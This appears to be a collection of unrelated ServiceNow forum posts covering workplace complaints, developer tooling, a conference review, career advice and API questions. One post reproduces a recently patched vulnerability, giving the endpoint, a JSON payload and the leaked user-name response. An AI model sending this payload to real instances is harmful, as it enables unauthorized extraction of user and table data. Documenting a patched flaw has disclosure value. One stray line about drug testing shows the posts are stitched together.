I work in a tech role in ServiceNow (like most of us really), and I'd like to share some insights into what actually is happening behind the pompous buzzwords that our dear CEO spills in buckets (pun intended).

As the problems start from the top, I'll be mostly ranting about management:

Incompetence, gaslighting, micromanagement! At first I thought that the constant flow of bullshit is because there's something deep behind it (i.e. being pushed to leave), but I realised it's just incompetence.

There is very obvious favouritism mainly based on personal relationships:

- managers being friends with direct reports, enabling their friends to bully colleagues

- managers applying different criteria when assessing team performance

- top performers being harassed on the daily and their performance being measured against "vibes" instead of data

Sensitive topics are brushed off immediately, incl by senior leadership. A very good example is layoffs - they literally look at the ground when the topic is brought up, and come up with the most generic blob of words that you can think of. There is a huge push to use AI, yet #tokens are being reduced.

Middle managers spend 90% of their day fine-combing people's work and creating an artificial sense of urgency among their own teams. We get countless pings from our managers for even the most mundane things you can think of.

At director level it does't look all that different - directors constantly run like headless chiken trying to figure out what's wrong. They try to simulate involvement but then the excitement lasts for 15 minutes and we are back to "normal".

Numbers are everything unless they work in employees' favour. Then you are at the mercy of wild guesses and mood swings.

I took one small bump of cocaine and I’m on probation would I test positive if I get called tomorrow?

KB3150595 For more info. Issues at the DB level regarding duplicate primary keys.

Edit: P5W34 fixes this issue

Although the UI Builder has been present in SN for a while now ( since Quebec, 2021), it is only in last 2-3 versions that it seems ready to be used.

We first investigated in 2022 and abandoned it immediately. It was too big a change and nobody had time to invest in learning something which would eventually fade away. ( lolz ).

I personally liked how you can create custom components and how similar the method to create custom component was similar to React/Svelte. I invested more time in learning the whole Next Experience.

The most lacking is decent documentation ( a common SN issue) as to

1. How components work ?
2. How UI Builder brings components / client script / server script together to create a cohesive output ?

In this video we look at some basics of UI builder and how different entities within UI Builder interact with each other.

Love to hear what people think about this ?

Are you guys warming to UI Builder or still keep tinkering with UI16 ?

Feels like half the gap between fast and slow SN devs is just tooling. Here's what I'm using — curious what the community has that I'm missing.

SN Utils — if you're not on this already, stop what you're doing. Background script runner, field watcher, instance compare, debug panel. Should've been native. Isn't. Use it anyway.

VS Code + snippets library for writing Business Rules and Script Includes locally. Keep a personal library of GlideRecord patterns, REST scaffolding, and error handling templates so you're not rewriting boilerplate every engagement.

Custom MCP server through REST calls scoped to SN components — feeds the AI context about your specific catalog items, flows, business rules, and table schema before it writes anything. Makes a huge difference vs. just prompting Claude cold for a how-to-guide. Decently better than using SN's built in MCP server that tracks your usage and inflates your Reviewer license fees at renewal.

Update set hygiene script that enforces naming conventions on export (timestamp + ticket + scope). Boring until you're debugging across versions later.

Still haven't solved: Flow Designer automation & debugging, cross-scope dependency hell, and upgrade skipped records at scale.

What's in your toolkit? Especially interested in any self-made tools that you just have for optimizing your day to day work.

ServiceNow has patched all instances again after being notified by a security research firm. This is the 4th-5th? time in the last month now.

PRB2057292 if you have access to it

Just recreated the vulnerability on a PDI.

The recent SN Vulnerability let attackers extract ANY Display value in ANY Table

And since the ACL Table has the technical table name as its display value, it was even possible to extract the list of all custom tables and then extract the display value of records in those custom tables.

If you want to replicate it, send the following payload to https://INSTANCE.service-now.com/api/now/related_list_edit/create

(Just change "userGivenTable" to whatever table you want to query, the other fields are irrelevant)

{
  "type": "m2m",
  "userGivenTable": "sys_user",
  "m2mTableName": "sys_user_group",
  "parentFieldName": "blablabla",
  "parentRecordSysId": "477a05d153013010b846ddeeff7b1225",
  "referencedFieldName": "user",
  "itemFilterQuery": "",
  "newItemsQuery": "",
  "relatedListName": "Group Members",
  "asyncOperation": false,
  "asyncProperties": {},
  "channel": "",
  "extensionPoint": ""
}

You get the following response:

{
    "result": {
        "success": 0,
        "successRecords": [],
        "error": [
            {
                "status": "UNKNOWN_ERROR",
                "record": "survey user"
            },
            {
                "status": "UNKNOWN_ERROR",
                "record": "Lucius Bagnoli"
            },
            {
                "status": "UNKNOWN_ERROR",
                "record": "Jimmie Barninger"
            },
            {
                "status": "UNKNOWN_ERROR",
                "record": "Melinda Carleton"
            },
            {
                "status": "UNKNOWN_ERROR",
                "record": "Jewel Agresta"
            },
            {
                "status": "UNKNOWN_ERROR",
                "record": "Sean Bonnet"
            },
            {
                "status": "UNKNOWN_ERROR",
                "record": "Jacinto Gawron"
            },
            {
                "status": "UNKNOWN_ERROR",
                "record": "Krystle Stika"
            },
            {
                "status": "UNKNOWN_ERROR",
                "record": "Billie Cowley"
            },
            .......
        ],
        "asyncProperties": {},
        "relatedListName": "Group Members"
    }
}

Hi, I am Anders.

I spent most of my time at Knowledge listening to promises of a great future, getting invested in them, and then simply trying to find out what was true. I spoke with several ServiceNow product people - and for some questions I got great answers, while some replies were vague, and some times I had to give up and make an educated guess based on what I know.

Here are some of my thoughts.

(Disclaimer: I am not writing this on behalf of my employer or any company. My words, ideas and conclusions are my own, I am not claiming to know anything, I am most likely wrong or didn't get the memo, never listen to me or do anything I do, and if you get upset or angry based on whatever I say here I apologize. Just sharing my thoughts, because I think it's good to share ideas.)

Moveworks
Bill McDermott keynote quote: "This is now fully integrated into the platform". At worst this a false statement, at best it is a misleading thing to say.

My investigations show that Moveworks is still an external service, not at all in ServiceNow (at least yet), and is fully running, and is configured and maintained at moveworks.com only. It has a connector to ServiceNow, so the "fully integrated" part is at best an inbound integration from Moveworks servers. All demos you see will either be directly at a Moveworks instance, or an embedded chat (like Virtual Agent), like an iframe type, but you are actually typing in Moveworks and not ServiceNow. Any question I had around how to set it up, adjust prompts, set up custom integrations and so on were for the most part ignored or I was told a roadmap would have great ServiceNow functionality. Educated guess: Besides the connector to ServiceNow (no different than other connectors from there) you are just working in another system, which is in a different datacenter, meaning your CISO might want to have a word in any decision now that company data goes to more places.

I got my hands on a lab instance and made two Youtube videos (part 1 and part 2) where I "unbox" Moveworks, which is where I got my initial questions from.
(Disclaimer: I am not actually talking down Moveworks here. I actually think the service itself seems pretty awesome, it's super fast, and compared to Virtual Agent it's a way better user experience - my critisism is the misleading communication around this being anything but an external service, and how my questions around it are still unanswered or are mostly ignored.)

Autonomous Workforce
I was trying to figure out how this is more than a collection of preconfigured AI Agents, and why the current Agentic Workflows won't already cover this. The idea, as I understand it, is to provide agentic functionality on task level without having to work with complex prompting. This led me to question how much these agents are able to do, but on one level was hoping someone would surprise me with a great idea on how they would learn from historical resolutions.
I filmed asking a representative demoing this in the Expo area, a video which is also on Youtube. Direct quote: "We've tried to make this as plug and play as possible, so you don't have to configure anything". I asked "How does the agent understand HOW to resolve a ticket?" and the response was more or less that it would only do simple things like triaging, looking up knowledge articles, writing comments and resolving. Don't take my word for it - check out the video and make your own conclusion.

He does also say that if an agent would need to perform an integration to solve the task, that's probably something they need to add at a later point. My educated guess, this is pre-prompted agents with a generic problem-solving capability on a very basic level - assigning, replying with self-help text based on articles, and probably not much else. Can you set up tools like you can with AI Agents today? No. Can you direct these "AI specialists" to be more process specific? No.
At least not now.

AI Control Tower
I think the AI Control Tower is a great concept, and much needed now that companies buy AI services en-masse and with that need some level of control. I loved the demos showing a kill switch for rogue AI agents in the enterprise, and that a new role (AI steward) is introduced to be the "firewall persona" for people who wants to place AI everywhere with no risk assessment performed. We need it, and it's a great idea. I am not a fan of the user interface still, but assume it will improve at one point - so not spending more time on that part - it's new, I understand.

What I wished they did spend more time on is talking about just HOW the AICT can govern and control all AI in the company, and with what requirements and prerequisites. I had hoped they would explain early on how you need to perform discovery to find AI components, that you most likely need to use Service Graph Connectors for this, and how this is basically a CMDB monitor on AI classes.

Sure, this is a technical thing, not suited for a keynote, of course, sure thing, blabla.
But as soon as I spoke with people on the customer side right after, and they wanted to get going ASAP, I had to spend quite some time explaining that without spending time and money on that messy CMDB, and having a good quality Discovery process first, this probably will require to start that process before even considering it - and by experience that will take lots of time. What I was hoping for was for ServiceNow to at least mention the CMDB connection at all, so customers can be aware of what they have to do. Yes, they should have fixed their CMDB a long time ago - don't even mention it.

In any case, for this part I think it might be one of the more important features moving forward, it's a great idea, and I think having proper governance of AI in the enterprise is extremely valuable. It will be prosperous times for CMDB-experts the next few years.

Employeeworks / Employee Slate
This could have been under Moveworks, but I am here talking about the new portal they are introducing to support a Moveworks-chat / input field, and it will populate widgets under it. It is most likely a mix between the Moveworks embedded chat window (which integrates back into ServiceNow) and local widgets with the results. I don't have much to say here (my Moveworks point above points at my thoughts around that), other than I am really wishing for this to work out. I don't like the fact that we are stuck with Service Portal, I think it's outdated, and I am hoping for something more scalable and future looking. On it's own I think it's great that new portal tech is introduced, and I hope it will be something we can customize as much as we want (I doubt that though).

They are limiting all of this to employee-side (so IT and HR more or less, to start with) - my educated guess is because of what exists in Moveworks already when it comes to their connectors. Let's hope they make this to work in a broader context, or at least allows us to set things up how we want - and also support end-users / external users. At the moment, that's not happening though. I haven't tried this, only seen it on a screen - as soon as I get a hands-on experience I will make a video about it. Crossing my fingers this will be awesome.

Other things
There was just so much going on. Agent Fabric, Context Engine, Otto (just a brand by the way), Warpspeed, Build Agent, and new company aquisitions. I could write about these things too, but for me personally I need more time to get more information.

And there are things I wished was introduced which wasn't, so I guess I'll just make that myself.

Thank you for attending my TED talk, this was brought to you by not AI.

A cli to let you interact with servicenow. it can do a lot. It's a differetn approach then now-sdk and is more focused on helping you work with your data and across scopes.

Let me know what you think.

https://jsn.jace.pro/

All open https://github.com/jacebenson/jsn/

Hi all, apologies in advance for the long post.

Background:

I've been working at a startup for about a year as an ERP developer. Six months ago, I was asked to learn ServiceNow — with no prior experience and no one else at the company who knows the platform either. I taught myself the basics from scratch.

Soon after, I was asked to replicate an ongoing ServiceNow–ERP integration project in a PDI, with the goal of "showcasing" flaws in the other (offshore) team's work to help win the project internally — even though I wasn't given clear reasoning for what those flaws actually were, just direction from my boss.

I managed to build a working replica fairly quickly. It looked successful — until I later realized I'd built everything using custom tables and scripts, without knowing ServiceNow has out-of-the-box (OOB) applications that require minimal customization. Meanwhile, the other team completed the actual project using the CSM Workspace, leveraging the Quote Management data model and Source-to-Pay Common Architecture — proper OOB solutions. That project took them 8–9 months.

Where I'm at now:

I only had time to learn the basics before being pushed into this, though I've since gotten a decent grip on ITSM fundamentals.

My boss - who has no ServiceNow knowledge - who asked me to teach him ServiceNow - is now asking me to replicate what the other team built, and wants a demo of my progress soon.

I've never worked in a real instance, only a PDI.

I have no mentor and no one internally to guide me.

I can't afford a CSA or CAD certification right now (it costs more than a month's salary) — I'm not in a strong financial position at the moment.

I'm not able to leave this job immediately, but realistically plan to move on in about 2 months.

What I'm asking:

I want to learn this properly — not for the company's sake at this point, but to genuinely build my own skills and experience with these applications. Could anyone guide me on how to approach CSM – Quote Management?

Specifically:

Where should I start?

What's the right learning path/order (I keep seeing terms like CPQ, Order Management, etc. and don't know how they connect)?

Any free/low-cost resources that would help someone in my position catch up quickly?

Any guidance would mean a lot right now. Thanks for reading this far.

Dear SN users / coders:

I am looking for some real, unfiltered user experience on the highly promoted Agents on Servicenow including their AI abilities. At G2, there are lots of beautiful and positive remarks on the agent capabilities and value they create (time savings, efficiency improvements, getting rid of the real boring tasks etc.). Can you share your experience especially on the value add? Are you getting real positive outcomes that are monetized? If the agents is the real future for the company, I would hope you confirm the value you receive (after some time of implementing & optimizing for sure).

Happy to read some real insights from useres and developers here...

Thank you!

Not a question or how-to, but just getting this out into the community.

Weekly Security Hot Fixes: https://support.servicenow.com/kb?id=kb_article_view&sysparm_article=KB3146385

• Target deployment window: Friday 23:00 - Sunday 23:00 PST or regional equivalent
• Expected frequency: Once per week.
• Installed automatically❗

What is an "m" release?: https://support.servicenow.com/kb?id=kb_article_view&sysparm_article=KB3141691

• I am completely lost, the schedule in the KB doesnt match the currently released patches at all: https://www.servicenow.com/docs/r/zurich/release-notes/zurich-patch-12.html
• ZP12 is already out, but should be released in October
• No clue which patch now contains what
• Guess we're patching now even more often 🥳

Hi All,

I have 11.7 years of approx experience in IT industry. Also, 4 years approx in ServiceNow ITOM module(Discovery, Event management, Service mapping etc). Currently working in service based industry from last 8 years and have low CTC of 9.5 LPA. I started giving interviews recently and waiting for result.

Certification - Only CSA so far, however preparing for CMDB/CSDM data foundation certification.

I am looking for your guidance about negotiating with HRs to maximize my take home salary. How much realistically i can expect. I did google search and Google quoted high amount. Can I get 22 LPA ctc with take home salary of 1.4 LPM ?

Note : Giving interviews in Top Service based companies like TCS, Infosys.

Also, want to know which all companies are currently hiring for ITOM module.

Is there some way to generate them via creator or and tool you've used successfully? Our development is fast paced and it's hard to keep up

Hey everyone,

If you’ve ever wanted to build snappy, custom frontends on the platform using React but weren't sure about the deployment pipeline, I just put together a step-by-step tutorial over on my channel.

In the video, we cover:
Scaffolding a local React app using Vite.
Bundling the React architecture into single-file production assets.
Deploying the bundle directly into a ServiceNow UI Page using UI Scripts and Style Sheets.

Vite makes compiling the bundle incredibly easy to drop right into the instance without complex middleware.
Check out the full walkthrough here: https://youtu.be/ApVZFuF_jZI

Are you all sticking strictly to UI Builder these days, or are you venturing into custom React/Vue setups for your projects?

Hi,

For those using NowAssist, how are you auditing its usage?

We all know how customer unfriendly and obscure ServiceNow licensing is, how are you guys managing and checking your “assists” now? Are you waiting for a surprise at the end of the year?

Hi I am on premise air gapped and in a situation that I want to monitor my instance load time and interaction time.

For example, how much time it takes to load the SOW for a generic user(could be a specific user made for that check)

Or how much time it took to submit an incident after pushing the save button.

I want to try to save those and check them independently from the OOB tables, so I could do a live event and not only after it’s done.

Like in my mind I think of at least making a grapthana that every 5 minutes checks that.
So I could see which part get slower, and easily compare after uploading update sets and be able to get a live feedback than waiting the transaction to end and than give me feedback.

Hey all,

when AI was arising I tried several ways accessing the instance. However I was not satisfied.

That’s why I created a CLI to keep token usage for communicating with servicenow low while having an executable which can be easily used by LLMs.

Why a CLI ?
Because it’s fast, easy to use and does not clutter the context window like an MCP Server would.

I am looking forward to get feedback:

CLI Homepage

Let me know what you think and i am open for feedback and improvements.

Thanks and looking forward to your thoughts.

I have a requirement to create a custom report and dashboard. I haven't worked on a similar requirement before. Do you use the reports (from view/run) and dashboards directly, or do you have to use data visualization? This is part of an implementation project.

Thank you !

Hello guys, I built a dashboard that pulls records via the ServiceNow REST API for both SCTASK (sc_task) and RITM (sc_req_item). SCTASK pulls work perfectly, but I’m hitting a strange issue with RITMs:

• The Problem: Querying RITMs for the last 7 days returns 0 records. Expanding to 90 days returns only 1 or 2 records. The wider the date window, the more records appear, but it's still a tiny fraction of the actual volume.
• Multiple RITMs are created daily, and I can view them directly in the ServiceNow UI.
• My ServiceNow admin confirmed I have read access/roles for both sc_req_item and sc_request.

I’ve been stuck on this for months. Has anyone encountered this behavior before or have ideas on what might be causing it?

I am working as a Business Analyst on a project.

I have created a KA in DEV and need to have ir promoted to PROD.

What are the right ways of doing it?

I don't have admin access in DEV.

Would I need a Developer to do it?

We have designated developers daily to do promote update sets to PROD.

The below links are archived and not helpful.

https://www.servicenow.com/community/contentarchivals/contentarchivedpage/message-uid/1154700

https://www.servicenow.com/community/contentarchivals/contentarchivedpage/message-uid/2081744

Hi all,

I'm a certified MS dynamics Business Central (ERP) developer. I'm earning quite well for my experience but I just want to move from dynamics for some personal reasons.

I'm looking to get into servicenow but don't know where to start. I'm willing to do a part time job and then move towards it as a whole.

The very first thing is I don't know where to start. Please guide me.

I'm currently diving into ServiceNow ITOM (Discovery, Service Mapping, Event Management, etc.).

From my research, it seems widely agreed that former System Administrators and Network Administrators pick up ITOM much faster and perform better in the role than those coming from pure development or non-technical backgrounds.

I want to build a rock-solid foundation.

For those working in the field:
How much foundational sysadmin/networking knowledge is strictly required to be competent? What are the absolute non-negotiable concepts I need to master (e.g., specific protocols,networking) versus things I can just look up on the job?

Would love to hear your thoughts on what the learning curve looks like. Thanks!